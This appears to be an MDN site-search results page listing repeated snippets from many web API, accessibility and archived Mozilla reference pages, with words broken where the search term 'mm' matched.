ng the type of media (audio, video, etc), then a slash character (/), then the container format used to contain the media: audio/mpeg an audio file using the mpeg file type, such as an mp3. video/ogg a video file using the ogg file type. video/mp4 a video file using the mpeg-4 file type. video/quicktime a video file in apple's quicktime format. as noted elsewhere, this format was once co
mmonly used on the web but no longer is, since it required a plugin to use. however, each of these mime types is vague. all of these file types support a variety of codecs, and those codecs may have any number of profiles, levels, and other configuration factors. for this reason, you can add the codecs parameter to the media type. to do so, append a semicolon (;) followed by codecs= and then the ...
...or this reason, you can add the codecs parameter to the media type. to do so, append a semicolon (;) followed by codecs= and then the string describing the format of the contents of the file. some media types only let you specify the names of the codecs to use, while others allow you to specify various constraints on those codecs as well. you can specify multiple codecs by separating them with co
mmas. audio/ogg; codecs=vorbis an ogg file containing a vorbis audio track. video/webm; codecs="vp8, vorbis" a webm file containing vp8 video and/or vorbis audio. video/mp4; codecs="avc1.4d002a" an mpeg-4 file containing avc (h.264) video, main profile, level 4.2. as is the case with any mime type parameter, codecs must be changed to codecs* (note the asterisk character, *) if any of the p...
...tes the color system used by the media. for example, bt.2020/bt.2100 color, as used for hdr video, is 09. the information for this—and for each of the remaining components—is found in the color config semantics section of the av1 specification. the default value is 01 (itu-r bt.709). tc the two-digit transfer_characteristics value. this value defines the function used to map the ga
mma (delightfully called the "opto-electrical transfer function" in technical parlance) from the source to the display. for example, 10-bit bt.2020 is 14. the default value is 01 (itu-r bt.709). mc the two-digit matrix_coefficients constant selects the matrix coefficients used to convert the red, blue, and green channels into luma and chroma signals. for example, the standard coefficient...
...And 8 more matches
Creating regular expressions for a microsummary generator - Archive of obsolete content
warning: microsu
mmary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) a regular expression is a special kind of string (i.e. a sequence of characters) that matches patterns of characters in other strings. microsu
mmary generators use them to identify the pages that the generators know how to su
mmarize by matching patterns in those pages' urls. in this tutorial, we'll explain how to make regular expressions that match the urls for ebay auction item pages. by the end of the tutorial, you should know some basics about regular expressions and understand how to create expressions that match urls. for detailed documentation about regular expressions, see core_javascript_1.5_reference:global_objects:regexp. ...
.... in this tutorial, we'll explain how to make regular expressions that match the urls for ebay auction item pages. by the end of the tutorial, you should know some basics about regular expressions and understand how to create expressions that match urls. for detailed documentation about regular expressions, see core_javascript_1.5_reference:global_objects:regexp. to learn how to create a microsu
mmary generator, see creating a microsu
mmary. urls 101 urls for auction item pages on ebay, like those on many other sites, usually start with the string "http://" and contain a domain name, a file path, and some query parameters. here's a url for an auction item page on ebay: http://cgi.ebay.com/ws/ebayisapi.dll?viewitem&item=280018439106 in this url, the domain name is "cgi.ebay.com", the fi...
...ret to our regular expression, it will only match urls that look like the example url right from the start. matching multiple urls but this expression still only matches the url for a single auction item page. it won't work with any other auction item. ...
...And 7 more matches
General asynchronous programming concepts - Learn web development
asynchronous? normally, a given program's code runs straight along, with only one thing happening at once. ...
... asynchronous? normally, a given program's code runs straight along, with only one thing happening at once. ...
...ting experience and isn't a good use of computer processing power — especially in an era in which computers have multiple processor cores available. there's no sense sitting there waiting for something when you could let the other task chug along on another processor core and let you know when it's done. this lets you get other work done in the meantime, which is the basis of asynchronous progra
mming. it is up to the progra
mming environment you are using (web browsers, in the case of web development) to provide you with apis that allow you to run such tasks asynchronously. blocking code asynchronous techniques are very useful, particularly in web progra
mming. when a web app runs in a browser and it executes an intensive chunk of code without returning control to the browser, the browser ...
...And 7 more matches
SpeechGrammarList - Web APIs
the speechgra
mmarlist interface of the web speech api represents a list of speechgra
mmar objects containing words or patterns of words that we want the recognition service to recognize. gra
mmar is defined using jspeech gra
mmar format (jsgf.) other formats may also be supported in the future. constructor speechgra
mmarlist.speechgra
mmarlist() creates a new speechgra
mmarlist object. properties speechgra
mmarlist.length read only returns the number of speechgra
mmar objects contained in the speechgra
mmarlist. methods speechgra
mmarlist.item() standard getter — allows individual speechgra
mmar objects to be retrieved from the speechgra
mmarlist using array syntax. ...
... constructor speechgra
mmarlist.speechgra
mmarlist() creates a new speechgra
mmarlist object. properties speechgra
mmarlist.length read only returns the number of speechgra
mmar objects contained in the speechgra
mmarlist. methods speechgra
mmarlist.item() standard getter — allows individual speechgra
mmar objects to be retrieved from the speechgra
mmarlist using array syntax. speechgra
mmarlist.addfromuri() takes a gra
mmar present at a specific uri and adds it to the speechgra
mmarlist as a new speechgra
mmar object. speechgra
mmarlist.addfromstring() takes a gra
mmar present in a specific domstring within the code base (e.g. stored in a variable) and adds it to the speechgra
mmarlist as a new speechgra
mmar object. examples in our simple speech color changer example, we create a ...
...a new speechgra
mmar object. speechgra
mmarlist.addfromstring() takes a gra
mmar present in a specific domstring within the code base (e.g. stored in a variable) and adds it to the speechgra
mmarlist as a new speechgra
mmar object. examples in our simple speech color changer example, we create a new speechrecognition object instance using the speechrecognition() constructor, create a new speechgra
mmarlist, add our gra
mmar string to it using the speechgra
mmarlist.addfromstring method, and set it to be the gra
mmar that will be recognised by the speechrecognition instance using the speechrecognition.gra
mmars property. ...
...And 7 more matches
IDBTransaction.commit() - Web APIs
return value void. exceptions exception description invalidstateerror the transaction state is not active. ...
... return value void. exceptions exception description invalidstateerror the transaction state is not active. ...
... return value void. exceptions exception description invalidstateerror the transaction state is not active. ...
...And 6 more matches
SpeechGrammarList.addFromURI() - Web APIs
the addfromuri() method of the speechgra
mmarlist interface takes a gra
mmar present at a specific uri and adds it to the speechgra
mmarlist as a new speechgra
mmar object. note that some speech recognition services may support built-in gra
mmars that can be specified by uri. syntax speechgra
mmarlistinstance.addfromuri(src,weight); returns void. parameters src a domstring representing the uri of the gra
mmar to be added. weight optional a float representing the weight of the gra
mmar relative to other gra
mmars present in the speechgra
mmarlist. the weight means the importance of this gra
mmar, or the likelihood that it will be recognised by the speech recognition service. ...
...esenting the uri of the gra
mmar to be added. weight optional a float representing the weight of the gra
mmar relative to other gra
mmars present in the speechgra
mmarlist. the weight means the importance of this gra
mmar, or the likelihood that it will be recognised by the speech recognition service. the value can be between 0.0 and 1.0; if not specified, the default used is 1.0. ...
... gra
mmar to be added. weight optional a float representing the weight of the gra
mmar relative to other gra
mmars present in the speechgra
mmarlist. the weight means the importance of this gra
mmar, or the likelihood that it will be recognised by the speech recognition service. the value can be between 0.0 and 1.0; if not specified, the default used is 1.0. ...
...And 6 more matches
SpeechGrammarList.item() - Web APIs
the item getter of the speechgra
mmarlist interface is a standard getter — it allows individual speechgra
mmar objects to be retrieved from the speechgra
mmarlist using array syntax. syntax var myfirstgra
mmar = speechgra
mmarlistinstance[0]; returns a speechgra
mmar object. ...
... the item getter of the speechgra
mmarlist interface is a standard getter — it allows individual speechgra
mmar objects to be retrieved from the speechgra
mmarlist using array syntax. syntax var myfirstgra
mmar = speechgra
mmarlistinstance[0]; returns a speechgra
mmar object. ...
... the item getter of the speechgra
mmarlist interface is a standard getter — it allows individual speechgra
mmar objects to be retrieved from the speechgra
mmarlist using array syntax. syntax var myfirstgra
mmar = speechgra
mmarlistinstance[0]; returns a speechgra
mmar object. ...
...And 6 more matches
ARIA: Comment role - Accessibility
the co
mment landmark role semantically denotes a co
mment/reaction to some content on the page, or to a previous co
mment. examples in the following example we have a document section that has been co
mmented. the co
mmented section is marked up using <span role="mark">. the related co
mment is marked up using an html structure wrapped with a <div> containing role="co
mment". ...
...ument section that has been co
mmented. the co
mmented section is marked up using <span role="mark">. the related co
mment is marked up using an html structure wrapped with a <div> containing role="co
mment". ...
...g <span role="mark">. the related co
mment is marked up using an html structure wrapped with a <div> containing role="co
mment". <p>the last half of the song is a slow-rising crescendo that peaks at the <span role="mark" aria-details="thread-1">end of the guitar solo</span>, before fading away sharply.</p> <div role="co
mment" id="thread-1" data-author="chris"> <h3>chris said</h3> <p class="co
mment-text">i really think this moment could use more cowbell.</p> <p><time datetime="2019-03-30t19:29">march 30 2019, 19:29</time></p> </div> to associate the co
mment with the text being co
mmented, we need to wrap the co
mmented text with an element containing the aria-details attribute, the value of which should be the id of the co
mment. ...
...And 6 more matches
Communicating With Other Scripts - Archive of obsolete content
this page is now obsolete, and its content has been incorporated into the main page on content scripts. this section of the guide explains how content scripts can co
mmunicate with: your main.js file, or any other modules in your add-on other content scripts loaded by your add-on page scripts (that is, scripts embedded in the web page or included using <script> tags) main.js your content scripts can co
mmunicate with your add-on's "main.js" (or any other modules you're written for your add-on) by sending it messages, using either the port.emit() api or the postmessage() api. see the articles on using postmessage() and using port for details. content scripts content scripts loaded into the same document at the same time using the same method can interact with each other directly a...
... well as with the web content itself. however, content scripts which have been loaded into different documents cannot interact directly with each other. content scripts that have been loaded into the same document by different methods, or the same method called more than once, can pass messages directly to each other using the dom postmessage() api or a customevent. ...
... co
mmunicate by using the main add-on script to manually relay messages between the content scripts. for example: if an add-on creates a single panel object and loads several content scripts into the panel at the same time, then they can interact with each other. if an add-on creates two panel objects and loads a script into each one, they can't interact with each other. but, they can each co
mmunicate with the main add-on script which could be written to relay messages between them. if an add-on creates a single page-mod object and loads several content scripts into the page mod, then only content scripts associated with the same page can interact with each other: if two different matching pages are loaded, content scripts attached to page a cannot interact with those attached to page ...
...And 5 more matches
command - Archive of obsolete content
« xul reference home co
mmand type: id set to the id of a co
mmand element that is being observed by the element. ...
... « xul reference home co
mmand type: id set to the id of a co
mmand element that is being observed by the element. ...
... « xul reference home co
mmand type: id set to the id of a co
mmand element that is being observed by the element. ...
...And 5 more matches
onFindAgainCommand - Archive of obsolete content
« xul reference home onfindagainco
mmand( findprevious ) return type: no return value call this method to handle your application's "find next" and "find previous" co
mmands. ...
... « xul reference home onfindagainco
mmand( findprevious ) return type: no return value call this method to handle your application's "find next" and "find previous" co
mmands. ...
...ce home onfindagainco
mmand( findprevious ) return type: no return value call this method to handle your application's "find next" and "find previous" co
mmands. ...
...And 5 more matches
Common questions - Learn web development
this article discusses how it works, in broad terms. ...
...articles.) these articles are designed to work on their own. how the web works this section covers web mechanics —questions relating to general knowledge of the web ecosystem and how it works. how does the internet work? the internet is the backbone of the web, the technical infrastructure that makes the web possible. at its most basic, the internet is a massive network of computers co
mmunicating with each other. this article discusses how it works, in broad terms. what is the difference between webpage, website, web server, and search engine? in this article we describe various web-related concepts: webpages, websites, web servers, and search engines. these terms are often a source of confusion for newcomers to the web, or are used incorrectly. let's discover what they act...
... but are you sure it works properly? this article provides some basic troubleshooting steps. how do you set up a local testing server? this article explains how to set up a simple local testing server on your machine, and the basics of how to use it. how do you upload files to a web server? this article shows how to publish your site online with ftp tools — one of the most co
mmon ways to get a website online so others can access it from their computers. how do i use github pages? this article provides a basic guide to publishing content using github's gh-pages feature. how do you host your website on google app engine? looking for a place to host your website? here's a step-by-step guide to hosting your website on google app engine. what tools are availab...
...And 5 more matches
nsIMicrosummaryGenerator
toolkit/components/places/public/nsimicrosu
mmaryservice.idlscriptable this interface provides access to a microsu
mmary that has been installed in firefox. 1.0 66 introduced gecko 1.8 obsolete gecko 6.0 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) warning: microsu
mmary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method overview long calculateupdateinterval(in nsidomnode apagecontent); boolean equals(in nsimicrosu
mmarygenerator aother); astring generatemicrosu
mmary(in nsidomnode apagecontent); attributes attribute type description loaded boolean has the generator itself (which may be a remote resource) been loaded. read only. localuri nsiuri for generators installed by...
...ontent); attributes attribute type description loaded boolean has the generator itself (which may be a remote resource) been loaded. read only. localuri nsiuri for generators installed by the user or bundled with the browser, the local uri points to the location of the local file containing the generator's xml. read only. name autf8string an arbitrary descriptive name for this microsu
mmary generator. read only. needspagecontent boolean whether or not this generator needs page content to generate a microsu
mmary. microsu
mmaries generated by xslt templates need page content, while those which represent the actual microsu
mmary do not. read only. uri nsiuri the canonical location and unique identifier of the generator. it tells us where the generator comes from and where to go f...
...s need page content, while those which represent the actual microsu
mmary do not. read only. uri nsiuri the canonical location and unique identifier of the generator. it tells us where the generator comes from and where to go for updates. read only. for generators referenced by web pages via <link> tags, this uri is the url specified by the tag. for generators installed via nsisidebar.addmicrosu
mmarygenerator(), this uri is a urn of the form urn:source:<url>, where <url> is the remote location from which we installed the generator. for generators installed via some other mechanism (for example an extension that dynamically creates generators), this uri is a urn in a form of the extension's own choosing, with the only restriction being that the uri be globally unique. to ensure this, we rec...
...And 5 more matches
Document.execCommand() - Web APIs
when an html document has been switched to designmode, its document object exposes an execco
mmand method to run co
mmands that manipulate the current editable region, such as form inputs or contenteditable elements. most co
mmands affect the document's selection (bold, italics, etc.), while others insert new elements (adding a link), or affect an entire line (indenting). when using contenteditable, execco
mmand() affects the currently active editable element. syntax document.execco
mmand(aco
mmandname, ashowdefaultui, avalueargument) return value a boolean that is false if the co
mmand is unsupported or disabled. note: only returns true if part of a user interaction. ...
...ine (indenting). when using contenteditable, execco
mmand() affects the currently active editable element. syntax document.execco
mmand(aco
mmandname, ashowdefaultui, avalueargument) return value a boolean that is false if the co
mmand is unsupported or disabled. note: only returns true if part of a user interaction. don't try using the return value to verify browser support before calling a co
mmand. parameters aco
mmandname a domstring specifying the name of the co
mmand to execute. see co
mmands for a list of possible co
mmands. ashowdefaultui a boolean indicating whether the default user interface should be shown. this is not implemented in mozilla. avalueargument for co
mmands which require an input argument, is a domstring providing that information. for example, insertimage req...
...in stylewithcss mode, it affects the background color of the containing block instead. this requires a <color> value string to be passed in as a value argument. note that internet explorer uses this to set the text background color. bold toggles bold on/off for the selection or at the insertion point. ...
...And 5 more matches
Why RSS Slash is Popular - Counting Your Comments - Archive of obsolete content
before the word blog was coined there was slashdot. slashdot is one of the most popular blogs on the internet. with its own history and culture, it's responsible for the "first post!" phenomena, the anonymous coward, and the recognition of the slashdot effect, a phenomena that adorns its name. one of the quirks of slashdot is that it includes a co
mments count, a humorous department, a hit parade, and a section with every blog post. rss does not have any facilites for including this information in an <item>, so the rss slash module exists to fill in this gap. an example using the most popular element of the rss slash module is shown below: <?xml version="1.0"> <rss version="2.0" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" > <channel> <tit...
...02:08 -0500</lastbuilddate> <link>http://www.example.com</link> <item> <title>review of sin city</title> <guid>d77d2e80-0487-4e8c-a35d-a93f12a0ff7d:2005/05/15/114</guid> <pubdate>sun, 15 may 2005 13:02:08 -0500</lastbuilddate></pubdate> <link>http://www.example.com/blog/2005/05/15/114</link> <slash:co
mments>43</slash:co
mments> </item> <item> <title>what is the 3571st prime number</title> <guid>d77d2e80-0487-4e8c-a35d-a93f12a0ff7d:2005/05/15/113</guid> <pubdate>sun, 15 may 2005 10:55:12 -0500</lastbuilddate></pubdate> <link>d77d2e80-0487-4e8c-a35d-a93f12a0ff7d:2005/05/15/113</link> <slash:co
mments>72...
...lash:co
mments> </item> <item> <title>what is the 3571st prime number</title> <guid>d77d2e80-0487-4e8c-a35d-a93f12a0ff7d:2005/05/15/113</guid> <pubdate>sun, 15 may 2005 10:55:12 -0500</lastbuilddate></pubdate> <link>d77d2e80-0487-4e8c-a35d-a93f12a0ff7d:2005/05/15/113</link> <slash:co
mments>72</slash:co
mments> </item> <item> <title>first article!</title> <guid>d77d2e80-0487-4e8c-a35d-a93f12a0ff7d:2005/05/15/112</guid> <pubdate>sun, 15 may 2005 08:14:11 -0500</lastbuilddate></pubdate> <link>http://www.example.com/blog/2005/05/15/112</link> <slash:co
mments>118</slash:co
mments> </item> ...
...And 4 more matches
Solve common problems in your JavaScript code - Learn web development
the following links point to solutions to co
mmon problems you may encounter when writing javascript. co
mmon beginner's mistakes correct spelling and casing if your code doesn't work and/or the browser complains that something is undefined, check that you've spelt all your variable names, function names, etc. correctly. some co
mmon built-in browser functions that cause problems are: correct wrong getelementsbytagname() getelementbytagname() getelementsbyname() getelementbyname() getelementsbyclassname() getelementbyclassname() getelementbyid() getelementsbyid() semi-colon position you need to make sure you don't place any semi-colons incorrectly. for example: correct wrong elem.style.color = 'r...
... getelementsbyclassname() getelementbyclassname() getelementbyid() getelementsbyid() semi-colon position you need to make sure you don't place any semi-colons incorrectly. for example: correct wrong elem.style.color = 'red'; elem.style.color = 'red;' functions there are a number of things that can go wrong with functions. one of the most co
mmon errors is to declare the function, but not call it anywhere. for example: function myfunction() { alert('this is my function.'); }; this code won't do anything unless you call it with the following statement: myfunction(); function scope remember that functions have their own scope — you can't access a variable value set inside a function from outside the function, unless you declared ...
...e code after return statement". object notation versus normal assignment when you assign something normally in javascript, you use a single equals sign, e.g.: const mynumber = 0; with objects, however, you need to take care to use the correct syntax. ...
...And 4 more matches
Server-side website programming first steps - Learn web development
in this module we answer a few fundamental questions about server-side progra
mming — "what is it?", "how does it differ from client-side progra
mming?", and "why is it so useful?". we then provide an overview of some of the most popular server-side web frameworks, along with guidance on how to select the most suitable framework for creating your first site. finally, we provide a high-level introductory article about web server security. prerequisites before starting this module, you don't need to have any knowledge of server-side website progra
mming, or indeed any other type of progra
mming. however, you do need to understand how the web works. ...
..., along with guidance on how to select the most suitable framework for creating your first site. finally, we provide a high-level introductory article about web server security. prerequisites before starting this module, you don't need to have any knowledge of server-side website progra
mming, or indeed any other type of progra
mming. however, you do need to understand how the web works. ...
...after reading this article, you'll understand the additional power available to websites through server-side coding. ...
...And 4 more matches
Server-side website programming - Learn web development
most major websites use some kind of server-side technology to dynamically display data as required. for example, imagine how many products are available on amazon, and imagine how many posts have been written on facebook. ...
... most major websites use some kind of server-side technology to dynamically display data as required. for example, imagine how many products are available on amazon, and imagine how many posts have been written on facebook. ...
...all of these using different static pages would be extremely inefficient, so instead such sites display static templates (built using html, css, and javascript), and then dynamically update the data displayed inside those templates when needed, such as when you want to view a different product on amazon. ...
...And 4 more matches
nsICommandController
content/xul/document/public/nsicontroller.idlscriptable an enhanced controller interface that supports passing parameters to co
mmands. inherits from: nsisupports last changed in gecko 1.7 implemented by: @mozilla.org/embedcomp/base-co
mmand-controller;1. ...
... content/xul/document/public/nsicontroller.idlscriptable an enhanced controller interface that supports passing parameters to co
mmands. inherits from: nsisupports last changed in gecko 1.7 implemented by: @mozilla.org/embedcomp/base-co
mmand-controller;1. ...
... content/xul/document/public/nsicontroller.idlscriptable an enhanced controller interface that supports passing parameters to co
mmands. inherits from: nsisupports last changed in gecko 1.7 implemented by: @mozilla.org/embedcomp/base-co
mmand-controller;1. ...
...And 4 more matches
nsICommandLineRunner
read only. methods init() called with the argc/argv combination passed to main. ...
...read only. methods init() called with the argc/argv combination passed to main. ...
...read only. methods init() called with the argc/argv combination passed to main. ...
...And 4 more matches
Recommended Drag Types - Web APIs
the html drag and drop api supports dragging various types of data, including plain text, urls, html code, files, etc. the document describes best practices for co
mmon draggable data types. caution: all methods and properties in this document with a moz prefix, such as mozsetdataat(), will only work with gecko-based browsers. dragging text for dragging text, use the text/plain type. the second data parameter should be the dragged string. ...
...setdataat(), will only work with gecko-based browsers. dragging text for dragging text, use the text/plain type. the second data parameter should be the dragged string. for example: event.datatransfer.setdata("text/plain", "this is text to drag"); dragging text in textboxes and selections on web pages is done automatically by the browser, so you do not need to handle it yourself. it is reco
mmended to always add data of the text/plain type as a fallback for applications or drop targets that do not support other types, unless there is no logical text alternative. always add this text/plain type last, as it is the least specific and shouldn’t be preferred. note: in older code, you may find text/unicode or the text types. these are equivalent to text/plain, and will store and retrieve ...
...atransfer; dt.setdata("text/uri-list", "https://www.mozilla.org"); dt.setdata("text/plain", "https://www.mozilla.org"); as usual, set the text/plain type last, as a fallback for the text/uri-list type. note: the url type is uri-list with an i, not an l. to drag multiple links, separate each link inside the text/uri-list data with a crlf linebreak. ...
...And 4 more matches
SpeechGrammarList.addFromString() - Web APIs
the addfromstring() method of the speechgra
mmarlist interface takes a gra
mmar present in a specific domstring within the code base (e.g. stored in a variable) and adds it to the speechgra
mmarlist as a new speechgra
mmar object. syntax speechgra
mmarlistinstance.addfromstring(string,weight); returns void. parameters string a domstring representing the gra
mmar to be added. weight optional a float representing the weight of the gra
mmar relative to other gra
mmars present in the speechgra
mmarlist. the weight means the importance of this gra
mmar, or the likelihood that it will be recognised by the speech recognition service. the value can be between 0.0 and 1.0; if not specified, the default used is 1.0. ...
...string representing the gra
mmar to be added. weight optional a float representing the weight of the gra
mmar relative to other gra
mmars present in the speechgra
mmarlist. the weight means the importance of this gra
mmar, or the likelihood that it will be recognised by the speech recognition service. the value can be between 0.0 and 1.0; if not specified, the default used is 1.0. ...
... gra
mmar to be added. weight optional a float representing the weight of the gra
mmar relative to other gra
mmars present in the speechgra
mmarlist. the weight means the importance of this gra
mmar, or the likelihood that it will be recognised by the speech recognition service. the value can be between 0.0 and 1.0; if not specified, the default used is 1.0. ...
...And 4 more matches
SpeechGrammarList.length - Web APIs
the length read-only property of the speechgra
mmarlist interface returns the number of speechgra
mmar objects contained in the speechgra
mmarlist. syntax var mylistlength = speechgra
mmarlistinstance.length; value a number indicating the number of speechgra
mmar objects contained in the speechgra
mmarlist. ...
... the length read-only property of the speechgra
mmarlist interface returns the number of speechgra
mmar objects contained in the speechgra
mmarlist. syntax var mylistlength = speechgra
mmarlistinstance.length; value a number indicating the number of speechgra
mmar objects contained in the speechgra
mmarlist. ...
... the length read-only property of the speechgra
mmarlist interface returns the number of speechgra
mmar objects contained in the speechgra
mmarlist. syntax var mylistlength = speechgra
mmarlistinstance.length; value a number indicating the number of speechgra
mmar objects contained in the speechgra
mmarlist. ...
...And 4 more matches
SpeechRecognition.grammars - Web APIs
the gra
mmars property of the speechrecognition interface returns and sets a collection of speechgra
mmar objects that represent the gra
mmars that will be understood by the current speechrecognition. syntax var mygra
mmars = myspeechrecognition.gra
mmars; myspeechrecognition.gra
mmars = myspeechgra
mmarlist; value a speechgra
mmarlist containing the speechgra
mmar objects that represent your gra
mmar for your app. examples this code is excerpted from our speech color changer example. ...
...hgra
mmar objects that represent the gra
mmars that will be understood by the current speechrecognition. syntax var mygra
mmars = myspeechrecognition.gra
mmars; myspeechrecognition.gra
mmars = myspeechgra
mmarlist; value a speechgra
mmarlist containing the speechgra
mmar objects that represent your gra
mmar for your app. examples this code is excerpted from our speech color changer example. ...
...epresent the gra
mmars that will be understood by the current speechrecognition. syntax var mygra
mmars = myspeechrecognition.gra
mmars; myspeechrecognition.gra
mmars = myspeechgra
mmarlist; value a speechgra
mmarlist containing the speechgra
mmar objects that represent your gra
mmar for your app. examples this code is excerpted from our speech color changer example. ...
...And 4 more matches
WebGL2RenderingContext.uniformMatrix[234]x[234]fv() - Web APIs
the webgl2renderingcontext.unifor
mmatrix[234]x[234]fv() methods of the webgl 2 api specify matrix values for uniform variables. there are no 2x2, 3x3, and 4x4 versions of this method. they are abbreviated in 2, 3, and 4, respectively. see the syntax below. ...
... the webgl2renderingcontext.unifor
mmatrix[234]x[234]fv() methods of the webgl 2 api specify matrix values for uniform variables. there are no 2x2, 3x3, and 4x4 versions of this method. they are abbreviated in 2, 3, and 4, respectively. see the syntax below. ...
... the webgl2renderingcontext.unifor
mmatrix[234]x[234]fv() methods of the webgl 2 api specify matrix values for uniform variables. there are no 2x2, 3x3, and 4x4 versions of this method. they are abbreviated in 2, 3, and 4, respectively. see the syntax below. ...
...And 4 more matches
Tamarin mercurial commit hook - Archive of obsolete content
it is highly reco
mmended that all developers enable the mercurial co
mmit hook for tamarin. the hook is located in the tamarin-redux repository in the file utils/hooks/tamarin-co
mmit-hook.py this is a simple mercurial hook that checks the following filetypes ('.cpp', '.h', '.as', '.abs', '.py') for the following: tabs anywhere in the line trailing whitespace windows line endings (\r\n) "mark_security_change" - looks for this text and warns user as security changes should not be checked into the public tamarin-redux repository. ...
...le utils/hooks/tamarin-co
mmit-hook.py this is a simple mercurial hook that checks the following filetypes ('.cpp', '.h', '.as', '.abs', '.py') for the following: tabs anywhere in the line trailing whitespace windows line endings (\r\n) "mark_security_change" - looks for this text and warns user as security changes should not be checked into the public tamarin-redux repository. installing the co
mmit hook the easiest way to implement the hook is to sync to the tip of tamarin-redux then add the following to your tamarin-redux/.hg/hgrc file (or to ~/.hgrc to implement for all local repos): [hooks] pretxnco
mmit.co
mmit = python:/path/to/tamarin-redux/utils/hooks/tamarin-co
mmit-hook.py:master_hook once added, all co
mmits will run the co
mmit hook. ...
...sitory. installing the co
mmit hook the easiest way to implement the hook is to sync to the tip of tamarin-redux then add the following to your tamarin-redux/.hg/hgrc file (or to ~/.hgrc to implement for all local repos): [hooks] pretxnco
mmit.co
mmit = python:/path/to/tamarin-redux/utils/hooks/tamarin-co
mmit-hook.py:master_hook once added, all co
mmits will run the co
mmit hook. hook use on every co
mmit to your local repository, the hook will only check for violations in any new / changed code. any untouched lines of code that violate the check will be ignored. ...
...And 3 more matches
List of commands - Archive of obsolete content
the following lists co
mmands which might be usable by <co
mmand> or co
mmand dispatchers/controllers. ...
... the following lists co
mmands which might be usable by <co
mmand> or co
mmand dispatchers/controllers. ...
... the following lists co
mmands which might be usable by <co
mmand> or co
mmand dispatchers/controllers. ...
...And 3 more matches
Communicating with frame scripts
this is an intentional design decision made to prevent content code from making chrome code unresponsive. where absolutely necessary, frame scripts can pass wrappers called cross process object wrappers (also known as cpows) to chrome, and chrome can use these wrappers to get synchronous access to content objects. content to chrome the frame script can choose to send synchronous or asynchronous messages to chrome code. ...
...age and a listener function. the listener will be passed a message object whose data property is the message payload: // frame script function handlemessagefromchrome(message) { var payload = message.data.details; // "some more details" } addmessagelistener("my-addon@me.org:message-from-chrome", handlemessagefromchrome); message-manager-disconnect if you're using a message manager to co
mmunicate with a script that may be running in a different process, you can listen for the message-manager-disconnect observer notification to know when the message manager has disconnected from the other end of the conversation, so you can stop sending it messages or expecting to receive messages. for example, suppose we load a script into the current <browser> on some event, and keep the browser ...
...server notification to know when the message manager has disconnected from the other end of the conversation, so you can stop sending it messages or expecting to receive messages. for example, suppose we load a script into the current <browser> on some event, and keep the browser message manager in an array, so we can send it messages: var messagemanagers = []; ... ...
...And 3 more matches
nsIMicrosummarySet
toolkit/components/places/public/nsimicrosu
mmaryservice.idlscriptable this interface provides access to sets of microsu
mmaries returned from the nsimicrosu
mmaryservice. 1.0 66 introduced gecko 1.8 obsolete gecko 6.0 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) warning: microsu
mmary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method overview void addobserver(in nsimicrosu
mmaryobserver observer); nsisimpleenumerator enumerate(); void removeobserver(in nsimicrosu
mmaryobserver observer); methods addobserver() add a microsu
mmary observer to this microsu
mmary set. adding an observer to a set is the equi...
....0 / seamonkey 2.3) method overview void addobserver(in nsimicrosu
mmaryobserver observer); nsisimpleenumerator enumerate(); void removeobserver(in nsimicrosu
mmaryobserver observer); methods addobserver() add a microsu
mmary observer to this microsu
mmary set. adding an observer to a set is the equivalent of adding it to each constituent microsu
mmary. void addobserver( in nsimicrosu
mmaryobserver observer ); parameters observer the microsu
mmary observer to add. enumerate() retrieve an nsisimpleenumerator of microsu
mmaries in the set. nsisimpleenumerator enumerate(); parameters none. return value an enumerator of nsimicrosu
mmary objects. removeobserver() remove a microsu
mmary observer from this microsu
mmary. void removeob...
... in nsimicrosu
mmaryobserver observer ); parameters observer the microsu
mmary observer to add. enumerate() retrieve an nsisimpleenumerator of microsu
mmaries in the set. nsisimpleenumerator enumerate(); parameters none. return value an enumerator of nsimicrosu
mmary objects. removeobserver() remove a microsu
mmary observer from this microsu
mmary. void removeobserver( in nsimicrosu
mmaryobserver observer ); parameters observer the microsu
mmary observer to remove. ...
...And 3 more matches
DOMMatrixReadOnly.flipX() - Web APIs
the original matrix is not modified. examples this svg contains two paths in the shape of a triangle, both drawn to the same position. note that the x co-ordinate of the viewbox attribute is negative, showing us content from both sides of the x-axis. ...
... the original matrix is not modified. examples this svg contains two paths in the shape of a triangle, both drawn to the same position. note that the x co-ordinate of the viewbox attribute is negative, showing us content from both sides of the x-axis. ...
...ed" d="m 0 50 l 50 0 l 50 100 z" /> <path id="flipped" fill="blue" d="m 0 50 l 50 0 l 50 100 z" /> </svg> this javascript first creates an identity matrix, then uses the `flipx()` method to create a new matrix, which is then applied to the blue triangle, inverting it across the x-axis. the red triangle is left in place. ...
...And 3 more matches
Document.queryCommandEnabled() - Web APIs
the document.queryco
mmandenabled() method reports whether or not the specified editor co
mmand is enabled by the browser. syntax isenabled = document.queryco
mmandenabled(co
mmand); parameters co
mmand the co
mmand for which to determine support. return value returns a boolean which is true if the co
mmand is enabled and false if the co
mmand isn't. notes for 'cut' and 'copy' co
mmands the method only returns true when called from a user-initiated thread. the 'paste' co
mmand return false not only if the feature is unavailable, but also if the script calling it has insufficient privileges to perform the action. ...
...e returns a boolean which is true if the co
mmand is enabled and false if the co
mmand isn't. notes for 'cut' and 'copy' co
mmands the method only returns true when called from a user-initiated thread. the 'paste' co
mmand return false not only if the feature is unavailable, but also if the script calling it has insufficient privileges to perform the action. ...
...abled and false if the co
mmand isn't. notes for 'cut' and 'copy' co
mmands the method only returns true when called from a user-initiated thread. the 'paste' co
mmand return false not only if the feature is unavailable, but also if the script calling it has insufficient privileges to perform the action. ...
...And 3 more matches
<mmultiscripts> - MathML
the mathml <
mmultiscripts> element allows you to create tensor-like objects. in a descriptive way tensors are multidimensional matrices (mathematical imprecise but exemplified). the degree of a tensor depends on the dimensionality of a representative array. for example, a number is a 0-dimensional array, or a 0th-order tensor. a 1-dimensional array (e.g. vectors) is a 1st-order tensor and so 2nd-order tensors are needed to represent square matrices. to learn more about the mathematical background of tensors refer to the entry on wikipedia. ...
...dimensional array, or a 0th-order tensor. a 1-dimensional array (e.g. vectors) is a 1st-order tensor and so 2nd-order tensors are needed to represent square matrices. to learn more about the mathematical background of tensors refer to the entry on wikipedia. mathml uses a special syntax to describe subscripts and superscripts for both, postscripts and prescripts, attached to a base expression: <
